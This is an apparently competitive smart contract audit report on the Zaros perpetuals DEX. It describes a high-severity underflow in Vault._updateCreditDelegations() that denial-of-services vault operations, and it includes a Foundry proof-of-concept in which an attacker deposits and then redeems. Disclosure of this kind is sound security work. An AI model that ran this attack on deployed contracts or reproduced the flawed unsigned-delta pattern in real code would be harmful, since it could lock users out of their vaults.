Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Valid

DoS in `Vault.recalculateVaultsCreditCapacity()` Due to Underflow.

Summary

Due to an underflow in Vault._updateCreditDelegations() when vaults reduce their credit values, Vault.recalculateVaultsCreditCapacity() will suffer a DoS, preventing the majority of the market-making protocol from interacting with the affected vault.

Vulnerability Details

When Vault.recalculateVaultsCreditCapacity() is called, one of its steps involves calling Vault._updateCreditDelegations(), which, as the name implies, updates credit delegations for connected markets. At a certain point during the execution of Vault._updateCreditDelegations(), the creditDeltaUsdX18 (the difference between the new market credit delegation and the previous one) is calculated (see the code snippet from Vault._updateCreditDelegations() below).

if (totalCreditDelegationWeightCache != 0) {
// get the latest credit delegation share of the vault's credit capacity
UD60x18 creditDelegationShareX18 =
ud60x18(creditDelegation.weight).div(ud60x18(totalCreditDelegationWeightCache));
// stores the vault's total credit capacity to be returned
vaultCreditCapacityUsdX18 = getTotalCreditCapacityUsd(self);
// if the vault's credit capacity went to zero or below, we set its credit delegation to that market
// to zero
UD60x18 newCreditDelegationUsdX18 = vaultCreditCapacityUsdX18.gt(SD59x18_ZERO)
? vaultCreditCapacityUsdX18.intoUD60x18().mul(creditDelegationShareX18)
: UD60x18_ZERO;
// calculate the delta applied to the market's total delegated credit
UD60x18 creditDeltaUsdX18 = newCreditDelegationUsdX18.sub(previousCreditDelegationUsdX18);
// loads the market's storage pointer and update total delegated credit
Market.Data storage market = Market.load(connectedMarketId);
market.updateTotalDelegatedCredit(creditDeltaUsdX18);
// if new credit delegation is zero, we clear the credit delegation storage
if (newCreditDelegationUsdX18.isZero()) {
creditDelegation.clear();
} else {
// update the credit delegation stored usd value
creditDelegation.valueUsd = newCreditDelegationUsdX18.intoUint128();
}
}
}

However, if for any of the connected markets the new credit delegation (newCreditDelegationUsdX18) is smaller than the previous one (previousCreditDelegationUsdX18), the subtraction newCreditDelegationUsdX18.sub(previousCreditDelegationUsdX18) will underflow, causing Vault.recalculateVaultsCreditCapacity() to revert.

This makes it easy to trigger a denial-of-service (DoS) attack on Vault.recalculateVaultsCreditCapacity() (whether intentionally or not) since it only requires a vault’s credit to be reduced, which would cause all calls to this function (and any other functions depending on it) to revert. For example, a malicious actor could deposit a significant amount of assets into a target vault and later redeem them (after the withdrawal request delay), leading to the aforementioned underflow during the next call to Vault.recalculateVaultsCreditCapacity() (see the PoC section at the end of this report).

This issue is particularly problematic because Vault.recalculateVaultsCreditCapacity() is extensively used throughout the codebase. Some of the important functions that call it:

  • CreditDelegationBranch.withdrawUsdTokenFromMarket()

  • CreditDelegationBranch.settleVaultsDebt()

  • CreditDelegationBranch.rebalanceVaultsAssets()

  • CreditDelegationBranch.updateVaultCreditCapacity()

  • VaultRouterBranch.deposit()

  • VaultRouterBranch.redeem()

  • VaultRouterBranch.stake()

  • VaultRouterBranch.unstake()

As a result, DoSing Vault.recalculateVaultsCreditCapacity() also disrupts a significant portion of the protocol’s market-making functionality when interacting with the affected vault.

Impact

As explained above, DoSing Vault.recalculateVaultsCreditCapacity() will effectively block the usage of the affected vault, because most of the interactions with it will be reverted.

Tools Used

Manual Review.

Recommended Mitigation

Consider fixing Vault._updateCreditDelegations() to be able to deal with negative creditDeltaUsdX18.

Proof of Concept

Copy the code below to a file in the test/ folder of the contest repository and run forge build && forge test --match-test POC.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
// Zaros dependencies
import { Base_Test } from "test/Base.t.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { CreditDelegationBranch } from "@zaros/market-making/branches/CreditDelegationBranch.sol";
import { IDexAdapter } from "@zaros/utils/interfaces/IDexAdapter.sol";
contract POC_Test is Base_Test {
function setUp() public virtual override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
createVaults(marketMakingEngine, INITIAL_VAULT_ID, FINAL_VAULT_ID, true, address(perpsEngine));
configureMarkets();
}
function testPOC() external {
// START OF SETUP
VaultConfig memory inCreditVaultConfig = getFuzzVaultConfig(1);
uint128[1] memory vaultIds;
vaultIds[0] = inCreditVaultConfig.vaultId;
changePrank({ msgSender: users.owner.account });
marketMakingEngine.setVaultEngine(inCreditVaultConfig.vaultId, address(1));
address user = users.naruto.account;
uint128 assetsToDeposit = 1e18;
deal(inCreditVaultConfig.asset, user, assetsToDeposit);
// END OF SETUP
vm.startPrank(user);
// 1. Attacker deposits funds to the target vault
marketMakingEngine.deposit(inCreditVaultConfig.vaultId, assetsToDeposit, 0, "", false);
// 2. Attacker redeems, reducing vault credit
marketMakingEngine.initiateWithdrawal(inCreditVaultConfig.vaultId, assetsToDeposit/2);
skip(inCreditVaultConfig.withdrawalDelay + 1);
marketMakingEngine.redeem(inCreditVaultConfig.vaultId, 1, 0);
// Further calls to any function that call `Vault.recalculateVaultsCreditCapacity()` will revert
// Revert with "panic: arithmetic underflow or overflow (0x11)"
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
marketMakingEngine.updateVaultCreditCapacity(vaultIds[0]);
// Revert with "panic: arithmetic underflow or overflow (0x11)"
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
marketMakingEngine.deposit(inCreditVaultConfig.vaultId, assetsToDeposit, 0, "", false);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`Vault::recalculateVaultsCreditCapacity` function always reverts after first redeem causing protocol DoS

Appeal created

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Vault::_updateCreditDelegations uses unsigned UD60x18 for credit delegation delta calculation which will underflow on any decrease in credit delegation amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.